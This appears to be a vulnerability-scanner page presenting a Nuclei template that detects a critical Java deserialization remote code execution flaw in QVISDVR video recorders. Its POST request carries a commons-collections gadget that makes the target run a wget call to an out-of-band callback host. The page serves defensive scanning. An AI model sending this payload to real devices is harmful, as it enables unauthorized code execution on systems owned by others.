QVISDVR JSF Deserialization - Remote Code Execution

ID: qvisdvr-deserialization-rce

Severity: critical

Author: me9187

Tags: qvisdvr,rce,deserialization,jsf,iot

Description

QVISDVR Java-Deserialization was discovered, which could allow remote code execution.

YAML Source

id: qvisdvr-deserialization-rce

info:
  name: QVISDVR JSF Deserialization - Remote Code Execution
  author: me9187
  severity: critical
  description: |
    QVISDVR Java-Deserialization was discovered, which could allow remote code execution.
  reference:
    - https://twitter.com/Me9187/status/1414606876575162373
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-77
  metadata:
    max-request: 2
  tags: qvisdvr,rce,deserialization,jsf,iot

http:
  - raw:
      - |
        GET /qvisdvr/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
      - |
        POST /qvisdvr/index.faces;jsessionid={{token}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        javax.faces.ViewState={{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}}

    extractors:
      - type: regex
        name: token
        group: 1
        internal: true
        part: header
        regex:
          - "JSESSIONID=(.*)"

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - http

      - type: status
        status:
          - 500
# digest: 4a0a0047304502202028280a10500b5106e7abbac316d631ae451b4ae8d36c45e1c3d301ca868e6602210093592b3934c4faea1ac1186f75be15116235b5698d6c328d3d7c2e9f375e86a3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/iot/qvisdvr-deserialization-rce.yaml"

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